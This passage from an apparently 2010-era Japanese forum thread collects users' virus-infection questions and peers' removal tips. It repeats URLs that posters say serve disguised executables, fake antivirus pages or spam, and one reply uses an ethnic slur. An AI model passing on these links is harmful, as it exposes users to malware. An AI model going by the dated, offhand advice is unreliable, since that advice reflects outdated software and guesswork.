【使用OS】　「XP Home」
【Microsoft Update（MU）の状態】　「最新ではない（出来ない）」
【使用セキュリティソフトとバージョン】　「McAfee」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「自動更新」
【スパイウェア対策ソフト】　「McAfee」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「自動更新」
【ルータの有無】　「有」
【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「何も検出されませんでした」
【症状】「WindowsUpdateやセキュリティソフト系の公式サイトに接続が出来ません」
いつの頃からかわかりませんが、気付いたのは3月中です。
あらゆるブラウザソフトを用いても
以下に記載する特定のＵＲＬへ接続しようとすると
「このページは表示できません」と出て繋がらないようになりました。
・WindowsUpdate
http://windowsupdate.microsoft.com/
・エフセキュア
http://www.f-secure.com/
・トレンドマイクロ
http://jp.trendmicro.com/
http://virusbuster.jp/
・マカフィー
http://www.mcafee.com/
・シマンテック
http://www.symantec.com/
この他のサイトは問題なく閲覧できます。なぜか以上のサイトだけが繋がりません。
IE8、FireFox、chrome、Operaでセキュリティレベルを下げて接続を試みましたが
いずれも接続することができませんでした。ブラウザの上部に黄色いバーも出てきません。
同じルーターに接続している別ＰＣではきちんとアクセスが出来ます。
原因の解る方がいらっしゃいましたらどうかご教授お願い致します。

自己解決しました。

もし、ウイルスに感染してどうしようもなくなったPCに
USBメモリなり外付けHDDを挿して一部データを救出した場合に
救出したはずのデータやハードディスク自体にウイルスが感染することってあるんでしょうか？

autorun.infファイルとウイルスファイル（拡張子はexeとscrのみ？）のケースは調べたのですが
他にも例がある場合には教えて下さい。よろしくお願いします

http://apr.2chan.net/dec/18/src/1271356396516.gif
これはGENOでしょうか？

【使用OS】　「mac osＸ（10.5.8）」
【Microsoft Update（MU）の状態】　−
【使用セキュリティソフトとバージョン】　「mac osＸのファイアウォール 」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】「1ヵ月前」
【スパイウェア対策ソフト】　−
【スパイウェア対策ソフトの更新は定期的に行なっているか】　−
【ルータの有無】　有
【スキャンの結果】 「ケーブル抜いて、まだスキャンしていません」

ブックマークに登録してあるサイト（http://jakandjil.com/）に行ったら、
あやしい？サイトに飛ばされました。
（gescansecurity.org/?affid=318&subid=landing）
この現象ははじめてです。このサイトのウインドウを閉じようとすると
「http://gescansecurity.org　windows security center　
Virus,(virus.Win 32.Hidrag.a) was found on your computer!
Crik "OK" to install System Security Antivirus.」
とsafariのダイアログが表示され閉じれませんでしたので、safari強制終了。
セキュリティは、mac osＸのファイアウォール。java scriptは可。

ウイルス、スパイウェアですか？
>>440のと同じでしょうか？　mac osですけど。
ググってもgescansecurity.orgの情報がなかったので、
どうしたらよいかお願いします。

時計くん
http://www.forest.impress.co.jp/docs/review/20100412_360770.html
動作があやしい、C:\Windows\svchost.exeを作成し、レジストリ登録
してる、WININET.DLLとかもリンクしてるし。
解析中！、おまえらも解析してくれ！

>>466
偽装に気づかずバックアップで移動とか

>>468
盗まれたり壊されたりしてから防犯装置を買いに行きますか？
無策を悔いてMac版のセキュリティソフトを導入しましょう

【使用OS】Vista
【Microsoft Update（MU）の状態】最新
【使用セキュリティソフトとバージョン】　F-SecureIS2010
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】Yes
【スパイウェア対策ソフト】　F-SecureIS2010
【スパイウェア対策ソフトの更新は定期的に行なっているか】　Yes
【ルータの有無】　有

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
Firefox3.6.3にちょっと古いAcrobat8.1.3Proを入れた状態でPDFを開いたらAcrobatのexploitコードが埋まってたらしくFirefoxごと落ちてウィルス大量検出。
%user%\AppData\Local\temp〜monxga32.exe他20ファイル程ウィルスセット。
但し、ウィルスは正規の手順でファイルが出来たのでリアルタイムスキャンで消された。　bredolabだけが複数箇所に感染。
F-Secureでフルスキャンすると途中で電源が落ちて、OSに入り込んでるのだろうと思って別マシンに繋いでKasperskyでスキャンするとKasperskyが転けると言う訳わからない状態。
とりあえず、落ちる前に検出された3ファイルのみ消去して再度フルスキャンかけるがやっぱり落ちる。
再インストールしか無さそうorz

【使用OS】
　Windows7 32bit Pro
【Microsoft Update（MU）の状態】
　最新
【使用セキュリティソフトとバージョン】
　カスペルスキー2010
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】
　起動時に毎回確認
【スパイウェア対策ソフト】
　なし
【スパイウェア対策ソフトの更新は定期的に行なっているか】
　なし
【ルータの有無】
　あり
【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
　379の方と同名のHidden.Object.multi.genericを検出。
　最初はLocal Settings/Tempにあったため
　一時ファイルを全消ししたところ今度はWindows/Tempで検出。
　スキャン中に検出したディレクトリを見ていると
　どうやら逐次ファイル名が変化している様子。
　それ以外は何も検出されなかったものの気持ちがいいものでないので
　解決方法を探してここにたどり着いたものの
　380の方が提示されたリンクから解決方法に至れずにおります。
　セーフモードでのスキャンでは検出が0件でした。
　仕事用PCのため、それらしいサイトは閲覧せず心当たりなしです。
　よろしく御願いいたします。

.scrというファイルを踏んでしまいました
ググったら、原田ウイルスというものらしいんですが
自分でもっているavastスキャンでは反応せず。
トレンドマイクロのオンラインスキャナはwin7では対応してくれないといわれて困ってます・・・

ところで原田ウイルスならば、画像が出てくるらしいのですが
自分の場合、画像などは一切でてきませんでした
これはウイルスではなくてブラフだったりするのでしょうか？

【使用OS】　XP
【Microsoft Update（MU）の状態】　最新
【使用セキュリティソフトとバージョン】Avast 4.8
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　はい
【スパイウェア対策ソフト】　Avast
【スパイウェア対策ソフトの更新は定期的に行なっているか】　はい
【ルータの有無】　有

PC再起動したらbridge function controllerというプログラムが立ち上がっていました
プログラム自体には何もなく、下の一覧に存在するだけで、さらに再起動をかけたら今度は起動していませんでした
特に今のところ問題はありませんが、削除しようにもそれらしきプログラムは見付からず
ぐぐっても同様の質問が一件あるだけでした

何方かご存知でしたら情報をお願いします

富山中央警察署のパソコンが、ウイルスに感染
http://tsushima.2ch.net/test/read.cgi/news/1272977913/l50

自分もAVE.exeにやられました。
感染源は判明せず、タスクマネージャーでAVE.exeという見慣れないアプリが走っているので、一旦止めその後AVEのありかを探って手動で動かして見たらやはり「XP Defender」が起動するので、こいつを削除しました。
そしたら・・・レジストリを既に書き換えられていたようで、IE、Firefox・・・その他さまざまなアプリ、コンパネも開けない（トホホ）
先にWEBで対策法を調べれば良かった。

7322.comで感染したんだけど。

デスクトップに消せない。Internet Explorerのアイコンが出て消せないんだけど。

これってどう対処するの？だけれ、対策できや奴いる？

ウィルスバスターでもスルーするんだけど。

あと、この偽装アイコンクリックすると、7322.comにつながるんだけどどうしたらよいでしょうか？

てすと

てすてす

日大の流出が大騒ぎになってますがこれは流れた瞬間に本人には気がつかないものなんでしょうか
セキュリティーソフトを入れてると思うんですがこれはウイルスにかかった瞬間何をしてるんでしょうか
あと本人はどうやったら知るんでしょうか、落としたファイル例えばmp3とかaviの拡張子だったら安全なんでしょうか
一旦流出したら最初に２ちゃんで大騒ぎになりますがこれは時間にしたら1日もかからないものなんでしょうか

はい

>>480
> 日大の流出が大騒ぎになってますがこれは流れた瞬間に本人には気がつかないものなんでしょうか
Yes

> セキュリティーソフトを入れてると思うんですがこれはウイルスにかかった瞬間何をしてるんでしょうか
セキュリティソフトは対応するウィルス定義情報（手配書のようなもの）がなければ動けない
加えて、情報流出を起こすような人間はロクにセキュリティ対策していない場合が多い

> あと本人はどうやったら知るんでしょうか、
セキュリティソフトの更新なんかで気付くこともあるが、周りから知らされるのがほとんどかと

> 落としたファイル例えばmp3とかaviの拡張子だったら安全なんでしょうか
No

> 一旦流出したら最初に２ちゃんで大騒ぎになりますがこれは時間にしたら1日もかからないものなんでしょうか
Yes

たとえばウイニーだとかで流出したらウィニーで流れるの？それとも全インターネットで？
あと例えばウィニーなんかで人知れず誰にも興味をもたれないウィルスってあるんですか
例えば個人情報は全く入ってないドキュメントなんか・・初心者で申し訳ないんですがぜひ教えてください

>>482
誰も国籍の話なんかしてねえよ
形容詞的に朝鮮人って言ってんだ

ウイルスバスター先生がウイルスに感染しているっぽいから検索しなさいと言ってきたので検索したところ、
TROJ Generic.DIMというウイルスに感染しているファイルがありました。
ここで、「解決する」→「解決できませんでした」と言われ、じゃぁファイル名がわかってるからと対象のファイルを削除しようとファイルを探すと、ファイルが見つかりません。
この場合どうすれば良いのでしょうか…ていうか、なぜファイルが見つからないのでしょうか…。もち隠しファイルは表示設定です。PC全体を検索しても見つかりませんでした。どなたか教えてください。

>>485
見えないように隠蔽されているんだろう
プロセスから該当ウイルスを終了させて手動削除するべし
ttp://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1023049865

keygeneとかにウィルスが入ってるので、それらは別PC（ネットワーク接続なし）
で実行してコード吐かせてる
普通の対応？

普通のわけねえだろ
タダの気違い

俺はなるほどと関心してしまったｗ

Siszpe32.exeくらったやついねぇ？

【使用OS】　「XP Home Edition」
【Microsoft Update（MU）の状態】　自動更新（？）のならしています
【使用セキュリティソフトとバージョン】　「McAfee」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「自動更新」
【スパイウェア対策ソフト】　「McAfee」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「自動更新」
【ルータの有無】　「有」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「PWCrack-IEPVとPWCrack-MailPassView」が検出されました。
削除してもPCを改めて起動してスキャンするとまた検出されます。
システムレストアの無効化というのを試しても検出されました、このふたつはどうすれば駆除できますか？

twitter経由で広がってる、DMを送りつけるスパムらしいけど、これってどんな手法使ったスパムなんでそう？flash?
ttp://www.140kingofpop.com/?platform=twitter&refuid=51922298&source=friends_invite_f

【使用OS】　「WindowsXP Home SP3」
【Microsoft Update（MU）の状態】　「最後に実行したのは5月7日」
【使用セキュリティソフトとバージョン】　「Norton Internet Security 2010」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「されている」
【スパイウェア対策ソフト】　「なし」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「なし」
【ルータの有無】　「なし」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「デスクトップ\windowsvista_7.exe（サイズ3.10MB、セキュリティソフトは無反応）」

先ほど、気付いたらいきなりデスクトップに、
「windowsvista_7.exe」なるファイルができていたんですが、
これって何なんでしょう？
ファイルのプロパティを確認してみたけど、ファイルが作成された時刻には、
PCの操作はしていません（PCは起動していたけど）。
ただ、Norton2010のアイドルスキャンが実行されていたと思います。

VirusTotalで確認したけどウィルスとは判定されず。
ネットでファイル名を検索しても特に出てこないし・・・
でも非常に気持ち悪いです。
ご存じの方いらっしゃいますでしょうか？

>>493
場所とファイル名を考えたらクロの可能性大だな。
とりあえずファイルを書庫化してバックアップ＆削除、ロックかかってたらセーフモードで試す。
その後HijackThisでおかしなエントリがないか調べてみる。

すみません。自己解決しました。
ずっと前にダウンロードしようとした、ただのドライバファイルでした。

ttp://www.marshal-no1.jp/marujirushi/support/driver.html
このサイトにあるVista/7用のドライバです。

ただ不思議なのは、このファイルをだいぶ前（一ヶ月くらい前）に
ダウンロードしようとした時には、Norton先生に妨害されてダウンロードできなかったのです。
それが何故か昨晩、思い出したようにデスクトップに置かれていました。
一体どうなっているのやら・・・

なお、どうしてドライバファイルだと分かったかというと、
>>494さんのアドバイス通りに書庫化しようとして、
間違って解凍してしまったからです（大恥）

お騒がせしました・・・

http://www.uproda.net/down/uproda104851.jpg
これjpg偽装ファイルでsrcがでてくる

アドレス踏むまでは大丈夫で実行したらアウトみたいなこと書いてあったんだけど
本当ですか？
一応avastがブロックしてくれたっぽいですけど

もし感染してたらどういう症状がでるはずだっていうの知っていれば教えてください

【使用OS】　「VISTA SP2」
【Microsoft Update（MU）の状態】　最新
【使用セキュリティソフトとバージョン】　「カスペルキー」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「はい」
【スパイウェア対策ソフト】　「カスペルキー」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「はい」
【ルータの有無】　「有」
【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
スキャンをしてみたところ、trojan.win32.vilselがadobeファイルから検出されました。
トロイに感染したのでしょうか？

検出されました

今恥ずかしいポエムを書いてるとこなんですが流出ってこれらのファイルも流出するってこと？

>>499
おい、あれお前のポエムだったのかよ・・・

最近になって途中で急に回線が切断されるのですが原因不明です
助けてください！

2ちゃんねる検索した後に
http://cast.adwires.com/index.php?q=Q%2BnrGgFC6So3XEZ7mLa6f2r
WhtO5aboqvNaG5JXAwcK%2FnwsOsDhHACx1sMKa%2FDA1zWNIa%2
FXcGSg%3D&mid=&chid=&pid=&type=jl0006&tc=3366ff&cc=000000&
uc=009900&bdc=cccccc&bgc=ECFFEC&subad=http://
www.adwires.com/subad/600x130.php&ref=http://find.2ch.net/
&hints=&safefilter=0&charset=&offset=0&ma=1&rr=1&n=2&v=2

これと後何種類かの履歴が残ります。
2ちゃんねる検索した後だけ変なURLが履歴に残るのですが
これはどういうウィルスなんでしょうか？
どういう対策をしたらいいでしょうか？
よろしくお願いします。

[仕様OS] XP
[ソフト] Spybot BitDefender
[問題] systemとして msdrv32f.exe msnmsgr.exeが起動される
[参考にしたページ]
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_RBOT.CDD&VSect=T

msdrv32f.exeというプロセスが
2つ同時にsystemとして起動されるようになりました

タスクマネージャを眺めているだけで
何もしなくても（プロセスを削除した後も）
しばらく立つと表示されます

最近ネットが不安定になり
これが原因なのではないかと思っています
何かわかる方がいましたら
力を貸して下さい

>>503
ttp://www.virustotal.com/jp/
ここにmsdrv32f.exeとmsnmsgr.exeを投げて確認してみ。
シマンテックやマカフィーやトレンドマイクロなどで黒判定なら
ウイルス名でそれらのベンダーの対処法をみる。
トレンドマイクロの云う所のWORM_RBOT.CDDならMicrosoft Updateをしていないおまいが悪い。

Microsoftupdateでウィルスが入るXP
SP2にもできない現実



ヽ(；▽；)ノ

先日からウィルス駆除ソフトが「FakeDoc に感染しました」というメッセージを度々表示しまして、
その駆除方法が分からなくて困ってます。
ウィルス駆除ソフトは、CA Internet security 2010を使用しています。

ググッたら、どうもスパイウェアっぽいようだったので、
別途、Spybot - Search & Destroy でスキャンしてみましたが、なぜか検出されませんでした。

どなたか詳しい方、アドバイスください。よろしくお願いします

>>506
CAはアメリカ製のアンチウイルスだけど
amazon.comの売り上げランキング圏外と言っていいほど使われていない

Spybotも時代遅れで役には立たない

【使用OS】　「XP sp3」
【Microsoft Update（MU）の状態】　「最新」
【使用セキュリティソフトとバージョン】　「ウイルスバスター2008」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「最新」
【スパイウェア対策ソフト】　「ウイルスバスター2008」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「最新」
【ルータの有無】　「無し」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「cpqset.exe」

数日前からこのCpqset.exeっていうのが不正変更の監視ログに出るようになりました。
C\Program Files\HPQ\Default Settings\Cpqset.exe
ログ作成日を見るとだいたい1週間に1回の割合で出てます。

ググッたらこんなページがヒットしたんですがこれは下手に弄らず放置した方がいいということなんでしょうか？
http://www.processlibrary.com/ja/directory/files/cpqset
ちなみに使ってるPCはHPのノートですよろしくお願いします。

ウィルスかどうかわからないけど
webページが勝手に切り替わるのはウィルス？

アドレスバー見てると
最初は検索(Google)で出た下の方に表示される正しいアドレスなんだけど
少し・・・1秒くらい経つとページが勝手に特定のページに切り替わって

IEでなるかどうかはしりませんが
愛用してるfirefoxでなります

【使用OS】　「WindowsVISTA」
【Microsoft Update（MU）の状態】　「最新」
【使用セキュリティソフトとバージョン】　「ノートン2010」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「最新」
【スパイウェア対策ソフト】　「ad-aware」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「最新」
【ルータの有無】　「無し」
【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「無し」

知人から相談されたのですが、こういう症状を聞いたことがなかったので質問させてください

動画をDL中にHDD上の別動画を再生していると、DLしたファイルに再生していた動画が上書きされているとのことです
DLファイルのサイズに動画時間が追従しているそうです
この事象が必ず起こるわけでもないそうです

一時期、ウイルスでデスクトップがキャプチャされるというものが流行ったようですが、その類でこんな症状を引き起こすものがあるのでしょうか？

無料のレンタルサービス：ナスカ
http://www.nazca.co.jp/

有名なサイトだから大丈夫だと思うんだけど

http://partychat1.nazca.co.jp/
のページの
パーティチャットサンプル
をクリックするとウィルスに感染しました
って出るんだけど、これは何ですかね？

ウィルスには感染してないようにも思えるし
感染してたら嫌だし

ちなみに、ウィルスバスターは無反応で
ブラウザ上で、ウィルスに感染しました
と出るだけ。

まったくもって意味不明の理解不能で
誰か解説出来る人います？

現状でウィルスに感染したわけではないんですが質問させていただきます。

�@暴露型ウィルスに感染した場合でPCの中にあるファイルを勝手にアップされた場合どこにいくんですか？　
�Aファイル共有ソフトを使ってる場合Winy上に流れたと聞きますがファイル共有ソフトを使ってない場合どこに流れるのでしょうか？
�Bまたこれらの暴露型にウィルスに感染した場合はPC内にある著作物ファイル
(レンタルしてコピーした音楽・動画、吸い出したゲームRom・ISO・CSO、裁断して取り込んだ本や漫画など)
が実際にネット上に流出することはありえるのでしょうか？そして流出した場合でも罪に問われるのでしょうか？

午前３時前から、音楽が流れてきました。
ミュートにすると音は聞こえなくなったので、PCからの音と確信したのですが
このときIEも何もウィンドウの開くソフトは起動させていなかったんです。

音楽はしっかりとしたメロディの曲でした。タララララララン・・・みたいな曲です。

どなたか助けてください

ニコニコ動画のおいしい朝食の作り方ってやつ
タグ見るとウィルスっぽいんだけどあれ本当？

セキュリティー対策ツールが疑わしい変更を検出しました。「選択した変更を元に戻す」
処理をした方がいいですか？

詳細情報:

システム変更

危険度: 低

説明:
個人情報などを収集する可能性のあるプログラムがコンピュータのメモリ上で実行されています。

詳細:
パス: C:\WINDOWS\SoftwareDistribution\Download\Install
ファイル名: windows-kb890830-v3.10-delta.exe

推奨:
疑いはありますが、このソフトウェアまたは変更は正規のものである可能性があります。この疑わしい問題を処理する前に、さらに調査してください。

最近パソコンが重いと思っていたら、updpxe32とise32というやつに
知らない間に感染していた。アンチウイルスソフトのavastを入れて
あったが感染していた。cureit,spybot,ad-awareでチェックしたが、
どれでも検出できなかった。セーフモードでファイル名で検索して
出てきたファイルを除いて、レジストリも検索して出てきた中の
それらしいのを削除して駆除できた。

★質問用テンプレ★
【使用OS】　「XP」
【Microsoft Update（MU）の状態】　「最新」
【使用セキュリティソフトとバージョン】　「ノーガード」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「」
【スパイウェア対策ソフト】　「」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「」
【ルータの有無】　「」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「security toolというマルウェア？に感染しました。システムの復元で３日前に戻して事なきをえたのですが
感染経路がわからず、また感染するのかと不安です。ここ最近ずっと２ｃｈと特定サイトの巡回ぐらいしかPCを使用してなかったので
何かいい予防があれば教えていただきたいです。」

ノーガードのくせに
何が良い予防はありませんかだよw

>>513みたいな感じで、不定期に音楽が流れるんだけどこれはウィルスなのでしょうか・・・？
映画のような音楽です
最新版のMicrosoft Security Essentialsでも消えませんでした

★質問用テンプレ★
【使用OS】　「XP　SP3」
【Microsoft Update（MU）の状態】　「最新」
【使用セキュリティソフトとバージョン】　「avast」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「されている」
【スパイウェア対策ソフト】　「」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「」
【ルータの有無】　「有り」
【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
スキャンはされていないんですが　1時間おきに女の声でスピーカーから声が流れてきます。
ほう・・・たいしたやつだ　とかアニメ声で。マクロウイルスの類だと思いますけど
対処方法を教えていただきたいです。

家庭内でのファイルの置き場所として、友人向けのFTPサーバーとして動作してるファイルサーバーがあるんだけど、
このPCはメンテナンスで設定を弄ることはあってもネットを見たりファイルを開いたりすることは無く、
そういった場合はウィルスに感染する事はある？

自分の認識では問題のファイルを開いたり何か仕込まれたサイトを見たりすると感染するイメージがあるんだけど、
どこかからか勝手にウィルスがぶち込まれたりするもんなの？

P2Pとかの通信でウィルスに感染したりとか言うのは聞いた事はあるんだけどそれだけで感染するもんなのかな。

【使用OS】　xp
【Microsoft Update（MU）の状態】　最新
【使用セキュリティソフトとバージョン】　「Avira AntiVir Personal
製品バージョン 9.0.0.25 2010/06/10
検索エンジン 8.02.04.52 2010/09/13
ウイルス定義ファイル 7.10.11.187 2010/09/15
コントロール センター 9.00.00.20 2009/12/03
Config Center 9.00.00.21 2009/12/03
Luke Filewalker 9.00.03.10 2009/12/03
AntiVir Guard 9.00.01.32 2009/07/21
フィルタ 9.00.03.17 2009/11/25
スケジューラ 9.00.00.09 2009/05/13
アップデータ 9.00.00.52 2009/12/03
」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　はい
【スパイウェア対策ソフト】　なし
【スパイウェア対策ソフトの更新は定期的に行なっているか】　はい
【ルータの有無】　なし

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
windows\system32\drivers\eesfru.sys
windows\system32\drivers\jiqvm.sys
この二つがトロイに感染しているようなのですが、ググっても何もひっかからず
削除もできません
分かる方居たら教えてください

>>522
「検出されたウイルス名」がないが
Aviraでは検出されないってことか？
おそらくその二つのファイル名はランダムなものだから
ググっても出てこない可能性が高い
まず >>9 や↓VirusTotalでウイルスの種類を特定しないことには先に進まない
ttp://www.virustotal.com/

痕跡が残ってるかもしれないのでAviraで
システムドライブをフルスキャンすることから始めたら？
まあ最近のウイルスはリカバリしたほうが早いと思うがなー

a

アイコンをクリックすると自動でクリック連打してる状態になって連射機みたいになってタブが大量にでてくるんですがウィルスですか？

>>509
だいぶ時間差でちゃったけど自分もそれなってます。

「Google Redirect Virus」っていうらしくて調べてるんだけど
なかなか有効な手段が見つからず困っております。

ttp://www.namamakkori.com/

アクセスすると別のサイトに飛ばされて
そのサイトに英語であなたはハッキングされました
みたなことが書かれてます

ＰＣをウィルスバスターでスキャンしましたがウィルスは
検出されなかったです

サイト表示してる間ＰＣ内の情報抜かれたりしてるんでしょうか

さっき見たらもう飛ばなくなってた
何かインドネシア語みたいなサイトが出てきてたんですが

ウィルスの種類がいろいろあってどのソフトを入れていると安全かわかりません。
今、panda cloud antivirusとspybotはいれているんですが、これで大丈夫でしょうか？
ウィルスバスターとかは総合的にカバーできるイメージでいいんでしょうか？

>>529
すでにセキュリティソフトだけで安全を買える情勢ではない
それより下記の使っていないものはアンインストールをした上で
まめにアップデートしてセキュリティーホールを潰しておく方がいい
あとクラウド製品だけでは心もとないのでフリーでもかまわないから
普通のウイルス対策ソフトは入れておくべき
まあセキュリティに関して詳しくないなら素直に有料の製品を導入した方がいいな

Windows Update / Microsoft Update
PDF Reader (Adobe Reader、Acrobatなど)
Adobe Flash Player
Adobe Shockwave Player
Adobe AIR
Java Runtime Environment (Javascriptにあらず)
QuickTime
RealPlayer

ソフトのバージョンチェックが面倒ならSecuniaPSI入れとけば
バージョンチェックが楽
更新してない・最新版じゃない場合教えてくれる

【使用OS】　WinXP SP3
【Microsoft Update（MU）の状態】　優先度の高い更新プログラム は無し
【使用セキュリティソフトとバージョン】　カスペルスキーインターネットセキュリティ2010 バージョン9.0.0.736
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　されている
【スパイウェア対策ソフト】　カスペ以外なし
【ルータの有無】　あり

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
Foxitソフトウェアベスト—PDFリーダーのページからモデル
http://www●foxitsoftware.com/japan/ebook/promotion.php
を見たらウィルスが検出されました

詳細レポートには
2010/10/21 06:12:03　ウェブアンチウイルス　禁止しました: Trojan-Downloader.HTML.Small.as　Opera Internet Browser
http://www●foxitsoftware.com/japan/ebook/promotion.php//promotion

と書かれてありウィルスの説明はまだありませんし　ttp://www.viruslistjp.com/search?VN=Trojan-Downloader.HTML.Small.as
最近のもののようですが　ttp://www.kaspersky.co.jp/viruswatchlite?search_virus=html&hour_offset=5&x=7&y=7
このウィルスはどんな効果があるのでしょうか？

価格○ムを見ている時、価格順並べ替えボタンをクリックしたらPCが勝手に終了しました。
キーボードには触れておらず操作ミスで電源を落としたとは考えられません
今AVGのウィルスソフトでPCスキャンをかけていますが、似たような経験、状況をご存知の方います？

ググったら「価格.com経由で拡散したウイルス、Windowsの既知の脆弱性を悪用」こんなの見つけたので不安です

>>533
ウイルスは無関係だろ
自分なら寒くなって電源がヘタってきたのが顕在化して不安定になってるとか
メモリにエラーが出てるとか疑うがな

>>532の方とまったく同じ症状です・・・
カスペのHPにも特に情報があがってないみたいだし、本スレでも話題にあがってない…
しかも、脅威検出→削除→なぜかまた検出
で一向に数がへらない。
どなたかわかる方ご教授願います。

>>535
>>532 の時点でカスペエンジンのサイトチェッカーaguseでは
確かに同じウイルスが検出されていたが今は反応がない
Dr.Webでもクリーン判定
ttp://online.us.drweb.com/cache/?i=bea659631d9ffb867cdcaf0c44b6b984
VirusTotalのフィッシングチェッカー結果
Webscan result: 0 /6 (0.0%)
ttp://www.virustotal.com/url-scan/report.html?id=c917cf81ef039420ce03f116d94189a1-1287637448

ついでにavast!のWebシールドにも反応はなかった
↓ここにリダイレクトされていたが、自分は何らかの誤検出だと思っている
ttp://www●foxitsoftware.com/campaign/eslick_promotion_jp/index.html

さきほどあファイルをＤＬしました
ウィルスチェックしたところ、悪意のファイルはないとのことでしたが
安心してダブルクリックしてインストール完了したところ
ウイルス 2010-11-02 13:40:24 C:\PROGRAM FILES\GRAVITY\RO\NEONCUBE\CREATE.EXEファイルにウィルスを発見 Win32.Troj.Agent.(kcloud) 処理成功（操作：削除）
と、インストールが完了した瞬間、、、トロイが発見されました・・・
処理成功と書かれているので、安心していいのでしょうか

>さきほどあファイルをＤＬしました
さきほどあるファイルをＤＬしました

一番使えるウィルスセキュリティってなんですか?

【使用OS】　WindowsXP SP2
【Microsoft Update（MU）の状態】　恐らく最新
【使用セキュリティソフトとバージョン】　なし

ここ最近友人からWindowsLiveメッセンジャーにて
俺がオフラインなのに

「 原价350，＝价95元！♂タ斯＆ィ活＝＝泥面膜，去�K§a角＝C淡化痘＝C改善＝，＝的皮％_亮整个冬天！
www.sinatuan.info/team.php?id=YTNjg=」
＊安全のためアドレス先頭削ってあります

というメッセージが飛んでくると言われ例のメッセウイルスに今頃かかっちゃったかと
Malwarebytes' Anti-Malwareでスキャンしてみたものの反応せず
ググって出てくるメッセウイルスの対策のjusched.exeの削除も何故かjusched.exeが見つからないとかで出来ず
そもそも他人に送りつけるメッセージが当時流行ったのと違い英文でなく中文で
ひょっとしたら新種･亜種にかかってしまったのか？と不安になっています。
(アドレスでググっても何も引っかからないし)
どなたかこれの対策分かる人いらっしゃいませんか？

MSNアカウントが乗っ取られてるんじゃないの

使用OS　XPSP3
【Microsoft Update（MU）の状態】　最新
【使用セキュリティソフトとバージョン】　ウィルスバスター　「」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「行っている」
【ルータの有無】　「」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
C:\System Volume Information\_restore{51B6498B-494D-43B5-BA1B-6C91D71E6403}\RP185\A0072792.dll
C:\System Volume Information\_restore{51B6498B-494D-43B5-BA1B-6C91D71E6403}\RP185\A0072820.exe
　
初なので怖いです　一応バスターのほうで削除はしました

職場で先方から届いたメールの添付ファイルについてたワームが
ウィルスバスターにより発見され、「隔離」されました。
ファイルの実行、開封はしてません。
…総務課がパソコン持って行って業者に1週間預けて初期化させたんですけど
そこまでやる必要あるんでしょうか。

余談ですが初期化後のフォローがなっていないのか
業務システムがぶち壊れて帰ってきました。

ウィルスで
「ｿｬー　Ｇｸｶﾄﾏ
　ｿｬー　11ヶ
　ｿﾔー　ｿﾁｼﾇ」
とかいうのってありますか？お気に入りにいつのまにか入ってて
消しても次の日にはまたお気に入りにあるんですが･･･

パソコンにはウィルスバスター入れてるけどもしかしたら
間違って消してるかもしれません

ageてしまいました　すみません

質問させてください。

1ヶ月ほど前からＰＣが不安定でして。突然電源が落ちます。
何度か経験して気が付いたのですが、
「Delete」キーを押したタイミングで落ちます。

原因の一番に考えられるのは電源系の不調。
もしくはマザボのコンデンサなどのハード面だと思うのですが、
このように反応をするウィルスって聞いたことありますか？

【使用OS】　XPでIE6
【Microsoft Update（MU）の状態】　あまりやってない
【使用セキュリティソフトとバージョン】　未導入
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　未導入
【スパイウェア対策ソフト】　未導入
【スパイウェア対策ソフトの更新は定期的に行なっているか】　未導入
【ルータの有無】　無線LANだからルータはあるはず

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】 スキャンしてない

エロ系ブログを閲覧中に突然IEがホップアップを開始しwindowsインストーラが起動し
慌てて電源を切ったものの既に遅く中国系ソフトウェアが入ってました。

IEを乗っ取るようでデスクトップのIEのアイコンやホームなどが中国系にカスタマイズされています。
IEMAOとかいうプログラムがsystemとして起動してるのがタスクマネジャで確認できます。

レジストリをいじってautorunとか調整しようとしたら
「レジストリは管理者により使用不可に設定されています」でいじれず。

セーフモードで起動するとその途中でerror happenedみたいなブルースクリーンになり進まず。
